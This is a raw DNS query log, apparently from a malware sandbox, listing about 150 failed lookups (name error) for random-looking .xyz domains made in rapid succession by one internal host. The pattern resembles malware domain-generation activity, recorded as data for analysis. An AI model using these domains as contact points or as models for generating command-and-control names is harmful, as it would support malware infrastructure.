Dec 12, 2024 12:10:10.202055931 CET	1.1.1.1	192.168.2.5	0x9ede	Name error (3)	aqiwocaywcswuwsq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:10.448250055 CET	1.1.1.1	192.168.2.5	0xba33	Name error (3)	aqgmgoqcoqqkguyk.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:10.757209063 CET	1.1.1.1	192.168.2.5	0xd9a	Name error (3)	oywgqkusocouysua.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:10.984277964 CET	1.1.1.1	192.168.2.5	0xd83d	Name error (3)	uyygagweoagcuqky.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:11.208930969 CET	1.1.1.1	192.168.2.5	0x87d	Name error (3)	muiccguyaeaqwweg.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:11.429580927 CET	1.1.1.1	192.168.2.5	0x3bf0	Name error (3)	qiqueqokwqqgwwci.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:11.657490969 CET	1.1.1.1	192.168.2.5	0xd118	Name error (3)	uygmgoymcwcgkios.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:11.968174934 CET	1.1.1.1	192.168.2.5	0xe63	Name error (3)	qiyggmguowygeooc.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:12.187463045 CET	1.1.1.1	192.168.2.5	0xe339	Name error (3)	acacoiqgoimayqwm.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:12.412170887 CET	1.1.1.1	192.168.2.5	0x2e48	Name error (3)	smisyqewaummmwoc.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:12.640440941 CET	1.1.1.1	192.168.2.5	0xd2cc	Name error (3)	mumuqocoisaucwmq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:12.955881119 CET	1.1.1.1	192.168.2.5	0xdfde	Name error (3)	qqoawmqqwqcusmee.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:13.268956900 CET	1.1.1.1	192.168.2.5	0xc3bc	Name error (3)	qcygacuamqqugcck.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:13.583187103 CET	1.1.1.1	192.168.2.5	0x99a5	Name error (3)	kkiigoymgkmoggoq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:13.802242041 CET	1.1.1.1	192.168.2.5	0x7a85	Name error (3)	qqmicqemgcgieoau.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:14.025047064 CET	1.1.1.1	192.168.2.5	0x5d56	Name error (3)	sagymwuwgeucsmac.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:14.340720892 CET	1.1.1.1	192.168.2.5	0x44fa	Name error (3)	igmqooiwioymwkcm.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:14.572340012 CET	1.1.1.1	192.168.2.5	0x85d1	Name error (3)	osyqameakgkceeog.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:14.797041893 CET	1.1.1.1	192.168.2.5	0xfba2	Name error (3)	sgigamoeiwksoecq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:15.025579929 CET	1.1.1.1	192.168.2.5	0x7358	Name error (3)	keckssemmeoqieqe.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:15.253071070 CET	1.1.1.1	192.168.2.5	0x67c7	Name error (3)	caysswwugsmkeksw.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:15.477766037 CET	1.1.1.1	192.168.2.5	0xb8c8	Name error (3)	cgiamwsqgcmqgqse.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:15.790471077 CET	1.1.1.1	192.168.2.5	0x5d42	Name error (3)	uyeqwcuyimescesu.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:16.014673948 CET	1.1.1.1	192.168.2.5	0x7b8c	Name error (3)	ekiwqiyewuiqoemo.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:16.245405912 CET	1.1.1.1	192.168.2.5	0x2c43	Name error (3)	oeakuqueisysswcg.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:16.469912052 CET	1.1.1.1	192.168.2.5	0xeba7	Name error (3)	acemcwecgiqcukys.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:16.692795992 CET	1.1.1.1	192.168.2.5	0xa1ac	Name error (3)	qcwaiaiqiwcakawa.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:17.004517078 CET	1.1.1.1	192.168.2.5	0x6418	Name error (3)	esyiocqieemagwmo.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:17.317605972 CET	1.1.1.1	192.168.2.5	0xc36b	Name error (3)	kqsakygykwusqams.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:17.541925907 CET	1.1.1.1	192.168.2.5	0x3246	Name error (3)	ymygkkggyigeqcqe.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:17.766699076 CET	1.1.1.1	192.168.2.5	0x91ea	Name error (3)	qqqkagyoymmosuyo.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:18.086498022 CET	1.1.1.1	192.168.2.5	0xca83	Name error (3)	moiimkscmiswaesw.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:18.307859898 CET	1.1.1.1	192.168.2.5	0xef26	Name error (3)	igkiociagqsacmwa.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:18.623928070 CET	1.1.1.1	192.168.2.5	0x14d0	Name error (3)	ymugwyokyyccykmw.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:18.852634907 CET	1.1.1.1	192.168.2.5	0x811f	Name error (3)	gieksqwccmmqkemm.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:19.082741022 CET	1.1.1.1	192.168.2.5	0xaa9c	Name error (3)	iaueigwgocakgsku.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:19.315536022 CET	1.1.1.1	192.168.2.5	0xde29	Name error (3)	sgsasqgwayeckgoy.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:19.630686045 CET	1.1.1.1	192.168.2.5	0x5796	Name error (3)	kwogawueykiiumao.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:19.854176044 CET	1.1.1.1	192.168.2.5	0xcb27	Name error (3)	iagmkeayqmuowswy.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:20.190267086 CET	1.1.1.1	192.168.2.5	0x70a5	Name error (3)	yyyagyakeciucagk.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:20.501658916 CET	1.1.1.1	192.168.2.5	0x7017	Name error (3)	isukyiwyscosaaqc.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:20.733223915 CET	1.1.1.1	192.168.2.5	0xbedc	Name error (3)	goicqsmskkygkkka.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:20.951904058 CET	1.1.1.1	192.168.2.5	0x58e5	Name error (3)	awacwkqgsoomimye.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:21.175985098 CET	1.1.1.1	192.168.2.5	0x5f9a	Name error (3)	iaawaweqwceogamg.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:21.398392916 CET	1.1.1.1	192.168.2.5	0xcd3e	Name error (3)	kqueagsoikuyocca.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:21.621408939 CET	1.1.1.1	192.168.2.5	0x3805	Name error (3)	momoqikcaksewaua.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:21.843741894 CET	1.1.1.1	192.168.2.5	0x3fb2	Name error (3)	suagiqkqmkgysmiw.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:22.160289049 CET	1.1.1.1	192.168.2.5	0x2e7c	Name error (3)	gcwequgwyimwymsa.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:22.385323048 CET	1.1.1.1	192.168.2.5	0x52bc	Name error (3)	igywsgwooemqiuss.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:22.607558012 CET	1.1.1.1	192.168.2.5	0x1d87	Name error (3)	wikiagqsmeeaeegy.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:22.982217073 CET	1.1.1.1	192.168.2.5	0x1513	Name error (3)	eeoeukoqgiwsumsu.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:23.209261894 CET	1.1.1.1	192.168.2.5	0x8b67	Name error (3)	ygooiessycewaocg.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:23.435611010 CET	1.1.1.1	192.168.2.5	0xedd	Name error (3)	qcqgssmagywqcgws.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:23.658520937 CET	1.1.1.1	192.168.2.5	0x5633	Name error (3)	goiikukwyyauemqc.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:23.884875059 CET	1.1.1.1	192.168.2.5	0x7576	Name error (3)	comuwmkimocayeeu.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:24.111521959 CET	1.1.1.1	192.168.2.5	0x98c0	Name error (3)	isgasoomksiwqcmg.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:24.337357044 CET	1.1.1.1	192.168.2.5	0xa24d	Name error (3)	qigismmgwsiseyuu.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:24.560234070 CET	1.1.1.1	192.168.2.5	0x3c9a	Name error (3)	wuqggcwmoscwykwg.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:24.876307011 CET	1.1.1.1	192.168.2.5	0xe514	Name error (3)	qceawaaswmsuekmu.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:25.098743916 CET	1.1.1.1	192.168.2.5	0xac5b	Name error (3)	ygucsucmagwqsqcu.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:25.414505005 CET	1.1.1.1	192.168.2.5	0x1026	Name error (3)	giuccqyqokookyue.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:25.640525103 CET	1.1.1.1	192.168.2.5	0xe8b8	Name error (3)	gceesusqmuockkgw.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:25.955461979 CET	1.1.1.1	192.168.2.5	0x2bb	Name error (3)	ygesoycecmkuwayg.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:26.274549007 CET	1.1.1.1	192.168.2.5	0x2ef9	Name error (3)	sasqgsyksiccuuws.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:26.493789911 CET	1.1.1.1	192.168.2.5	0xa30e	Name error (3)	qwggykgwkqoceiuo.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:26.717921972 CET	1.1.1.1	192.168.2.5	0xd4de	Name error (3)	wiguisuayimaukgu.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:26.937470913 CET	1.1.1.1	192.168.2.5	0x568	Name error (3)	qcwcgegyyieaoqca.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:27.158910036 CET	1.1.1.1	192.168.2.5	0xcfa3	Name error (3)	gwcyyawigmwceaqi.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:27.385303974 CET	1.1.1.1	192.168.2.5	0x511a	Name error (3)	mueuwcqsioowsmce.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:27.603703976 CET	1.1.1.1	192.168.2.5	0x23be	Name error (3)	qiewcykmuuacuoyk.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:27.825715065 CET	1.1.1.1	192.168.2.5	0x7a2f	Name error (3)	coayaokeissieqcc.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:28.051187038 CET	1.1.1.1	192.168.2.5	0x8aa6	Name error (3)	oeooiqokqsqcsaig.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:28.276580095 CET	1.1.1.1	192.168.2.5	0x1fba	Name error (3)	masegmsiqgamiugm.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:28.509596109 CET	1.1.1.1	192.168.2.5	0x34db	Name error (3)	smwywssyyaciqkae.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:28.736644030 CET	1.1.1.1	192.168.2.5	0x3a3a	Name error (3)	aweqoooqomueeiwi.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:28.968394995 CET	1.1.1.1	192.168.2.5	0xe83e	Name error (3)	akasikewaomyiwqk.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:29.198460102 CET	1.1.1.1	192.168.2.5	0x2ffa	Name error (3)	oyyamqygcecqocmq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:29.511820078 CET	1.1.1.1	192.168.2.5	0x174	Name error (3)	qwikoqqgiayyuakq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:29.821490049 CET	1.1.1.1	192.168.2.5	0xa579	Name error (3)	miqcugomwgmygyoq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:30.045164108 CET	1.1.1.1	192.168.2.5	0x6b6e	Name error (3)	wiccyamsgmuqoeoy.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:30.270961046 CET	1.1.1.1	192.168.2.5	0xa0ec	Name error (3)	ymeiqyyqqyaaygie.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:30.493138075 CET	1.1.1.1	192.168.2.5	0x8918	Name error (3)	wiomcwmascsigags.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:30.711508989 CET	1.1.1.1	192.168.2.5	0xa8d7	Name error (3)	awgyuqqswicwkqcs.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:31.032933950 CET	1.1.1.1	192.168.2.5	0xac68	Name error (3)	iacisiamimiiqyeo.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:31.349464893 CET	1.1.1.1	192.168.2.5	0xb02	Name error (3)	wogawoqysgiockwa.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:31.570101023 CET	1.1.1.1	192.168.2.5	0xa041	Name error (3)	mayykkuyeuiggyws.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:31.790824890 CET	1.1.1.1	192.168.2.5	0xbd0e	Name error (3)	cosaygigqegeyewi.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:32.093672037 CET	1.1.1.1	192.168.2.5	0x5b94	Name error (3)	ekqyosgcumkcecmo.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:32.358165026 CET	1.1.1.1	192.168.2.5	0x593c	Name error (3)	qimmkmaumumswocw.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:32.578608990 CET	1.1.1.1	192.168.2.5	0xe3b	Name error (3)	acqaagqgmsmeouce.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:32.894027948 CET	1.1.1.1	192.168.2.5	0xa4f6	Name error (3)	awasockiaymagmci.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:33.122366905 CET	1.1.1.1	192.168.2.5	0xddf9	Name error (3)	akuyqkmomwqyiyow.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:33.344017982 CET	1.1.1.1	192.168.2.5	0xeb37	Name error (3)	caceukeeygaaqaec.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:33.563774109 CET	1.1.1.1	192.168.2.5	0xa1de	Name error (3)	qwcaikouwwekssco.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:33.883740902 CET	1.1.1.1	192.168.2.5	0x4a63	Name error (3)	qqioykeogcwkowgq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:34.109957933 CET	1.1.1.1	192.168.2.5	0xb021	Name error (3)	igeqissugeuswaus.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:34.334006071 CET	1.1.1.1	192.168.2.5	0x9a8f	Name error (3)	osoawyeyassgycgy.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:34.556634903 CET	1.1.1.1	192.168.2.5	0xfd61	Name error (3)	cuaumuqcoeegomsq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:34.780875921 CET	1.1.1.1	192.168.2.5	0x243c	Name error (3)	oyogquqkmyqwwkuq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:34.999821901 CET	1.1.1.1	192.168.2.5	0xc3bf	Name error (3)	gwyougsgeaaoiumg.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:35.221349955 CET	1.1.1.1	192.168.2.5	0x270	Name error (3)	ukeoemaaimqyuais.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:35.440412045 CET	1.1.1.1	192.168.2.5	0x2891	Name error (3)	oewuwcsmaacckewa.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:35.661537886 CET	1.1.1.1	192.168.2.5	0x5305	Name error (3)	esykokiigsgwcwsa.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:35.888053894 CET	1.1.1.1	192.168.2.5	0x3d5f	Name error (3)	ekgqymkkqiwogqsy.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:36.208005905 CET	1.1.1.1	192.168.2.5	0x642e	Name error (3)	wueossewygqoakoq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:36.432265043 CET	1.1.1.1	192.168.2.5	0x6d0f	Name error (3)	isceiesauogasmoo.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:36.749072075 CET	1.1.1.1	192.168.2.5	0x3c6b	Name error (3)	giscmywoiaqmqcmw.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:36.968939066 CET	1.1.1.1	192.168.2.5	0xd65d	Name error (3)	uyqweoyukcewugsu.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:37.192934990 CET	1.1.1.1	192.168.2.5	0x3904	Name error (3)	imuscegymggagewg.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:37.416250944 CET	1.1.1.1	192.168.2.5	0xe8ef	Name error (3)	wgesgakysuqaewik.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:37.637928963 CET	1.1.1.1	192.168.2.5	0x451f	Name error (3)	uwoyyqgiwowysqou.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:38.011571884 CET	1.1.1.1	192.168.2.5	0xd3bc	Name error (3)	syaouwwyoaemeekm.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:38.237447023 CET	1.1.1.1	192.168.2.5	0xa775	Name error (3)	aoscugususamokuy.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:38.465259075 CET	1.1.1.1	192.168.2.5	0xda0	Name error (3)	qucyaygweeasqeoy.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:38.694232941 CET	1.1.1.1	192.168.2.5	0xc58	Name error (3)	uiwwamyuymycooey.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:39.004781008 CET	1.1.1.1	192.168.2.5	0x8bfb	Name error (3)	iygukwyuqwiuoqmi.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:39.232395887 CET	1.1.1.1	192.168.2.5	0x1b3e	Name error (3)	koaeaguekwcaousw.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:39.453689098 CET	1.1.1.1	192.168.2.5	0x7ebc	Name error (3)	skssioqkemoiieaa.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:39.676266909 CET	1.1.1.1	192.168.2.5	0x3e28	Name error (3)	yewomygmueegmoqi.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:39.907052040 CET	1.1.1.1	192.168.2.5	0x2cc5	Name error (3)	kuyoukwwacqkcoyo.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:40.129547119 CET	1.1.1.1	192.168.2.5	0x285a	Name error (3)	gmcqgmkyguwkskyg.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:40.442101002 CET	1.1.1.1	192.168.2.5	0x1e9d	Name error (3)	mygiqcqokowwmgqq.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:40.662069082 CET	1.1.1.1	192.168.2.5	0x5a7b	Name error (3)	cymogqmasaiiwmww.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:40.894946098 CET	1.1.1.1	192.168.2.5	0x7f2e	Name error (3)	iykumkamcykgicyi.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:41.123168945 CET	1.1.1.1	192.168.2.5	0x3c3c	Name error (3)	cyemcqwkasuimkgs.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:41.358279943 CET	1.1.1.1	192.168.2.5	0x59a1	Name error (3)	ieqeeiggkuqcomyo.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:41.591377020 CET	1.1.1.1	192.168.2.5	0xc878	Name error (3)	ssmkyomikukusksu.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:41.814244032 CET	1.1.1.1	192.168.2.5	0x894e	Name error (3)	kimakioiwmawksiw.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:42.040425062 CET	1.1.1.1	192.168.2.5	0x659	Name error (3)	qumssmeysccykkyo.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:42.352338076 CET	1.1.1.1	192.168.2.5	0xbcf3	Name error (3)	ykuoaucocogcwoky.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:42.583420992 CET	1.1.1.1	192.168.2.5	0x8303	Name error (3)	semyssioekmosauo.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:42.895400047 CET	1.1.1.1	192.168.2.5	0x69cf	Name error (3)	aiiqyyikowqaygwy.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:43.117300987 CET	1.1.1.1	192.168.2.5	0x89a4	Name error (3)	kouumoyqiuckkcau.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:43.343651056 CET	1.1.1.1	192.168.2.5	0xc84d	Name error (3)	qgwkkkyicoqmooqu.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:43.654886961 CET	1.1.1.1	192.168.2.5	0xbba1	Name error (3)	uwwcocucusmeguaw.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:43.876785040 CET	1.1.1.1	192.168.2.5	0xa3fb	Name error (3)	cekggiciueyeyoku.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:44.193870068 CET	1.1.1.1	192.168.2.5	0xda42	Name error (3)	iqqeoamqwiuiyuua.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:44.513819933 CET	1.1.1.1	192.168.2.5	0x88a3	Name error (3)	uokqmokseqqakiui.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:44.734801054 CET	1.1.1.1	192.168.2.5	0xcf6d	Name error (3)	cyqqgacqkowwkqqe.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:44.959142923 CET	1.1.1.1	192.168.2.5	0xbb7b	Name error (3)	cmqqeimyycgqwsgg.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:45.178237915 CET	1.1.1.1	192.168.2.5	0xc083	Name error (3)	wmgeoqqiwqcmimwu.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:45.405965090 CET	1.1.1.1	192.168.2.5	0x5083	Name error (3)	quyckaioggawuois.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:45.722279072 CET	1.1.1.1	192.168.2.5	0xcc38	Name error (3)	eqciawooemoueyqu.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:45.950217962 CET	1.1.1.1	192.168.2.5	0x7a9f	Name error (3)	oqoaumkywacmuwwm.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:46.176821947 CET	1.1.1.1	192.168.2.5	0xbdbe	Name error (3)	ewueyekksqksycww.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:46.396859884 CET	1.1.1.1	192.168.2.5	0x9d5	Name error (3)	csmasucykosuwouy.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:46.618818045 CET	1.1.1.1	192.168.2.5	0x6086	Name error (3)	seeogeqwsqmsoaqe.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:46.840204000 CET	1.1.1.1	192.168.2.5	0xcad7	Name error (3)	gusmkkaiomeeqaiy.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:47.158108950 CET	1.1.1.1	192.168.2.5	0x42c9	Name error (3)	msyecoiqeyqeiquy.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:47.385497093 CET	1.1.1.1	192.168.2.5	0x5d58	Name error (3)	skawoueawceoywsy.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:47.730906010 CET	1.1.1.1	192.168.2.5	0x8d3d	Name error (3)	iyuaqococuqcsgii.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:47.955787897 CET	1.1.1.1	192.168.2.5	0xece3	Name error (3)	kuyaasckcgacyesi.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:48.268693924 CET	1.1.1.1	192.168.2.5	0x586d	Name error (3)	aaeqiiecqqumcgky.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:48.490171909 CET	1.1.1.1	192.168.2.5	0x88c2	Name error (3)	aawiysageawcoyok.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:48.716536045 CET	1.1.1.1	192.168.2.5	0x2848	Name error (3)	yqysoaosqewciiww.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:48.938699007 CET	1.1.1.1	192.168.2.5	0x5a96	Name error (3)	yessywkwcwmyewqe.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:49.160130978 CET	1.1.1.1	192.168.2.5	0x9e3f	Name error (3)	aueiqscgeicewaoo.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:49.390642881 CET	1.1.1.1	192.168.2.5	0x99c8	Name error (3)	uccsgcekiwcyucou.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:49.611855984 CET	1.1.1.1	192.168.2.5	0xd278	Name error (3)	aiumyocycyyikiwc.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:49.924664021 CET	1.1.1.1	192.168.2.5	0xc801	Name error (3)	aoqayemwgmsyuimi.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:50.144835949 CET	1.1.1.1	192.168.2.5	0x3f06	Name error (3)	mmiowgeswucumqae.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:50.375387907 CET	1.1.1.1	192.168.2.5	0x5361	Name error (3)	mmiugosumuqmuqoc.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:50.631458998 CET	1.1.1.1	192.168.2.5	0xb64d	Name error (3)	ecqisawmymscauow.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:50.950171947 CET	1.1.1.1	192.168.2.5	0xde8c	Name error (3)	iyoqqeicqoquiqka.xyz	none	none	A (IP address)	IN (0x0001)	false
Dec 12, 2024 12:10:51.176186085 CET	1.1.1.1	192.168.2.5	0xb997	Name error (3)	ecoqwiswmwqokmay.xyz	none	none	A (IP address)	IN (0x0001)	false
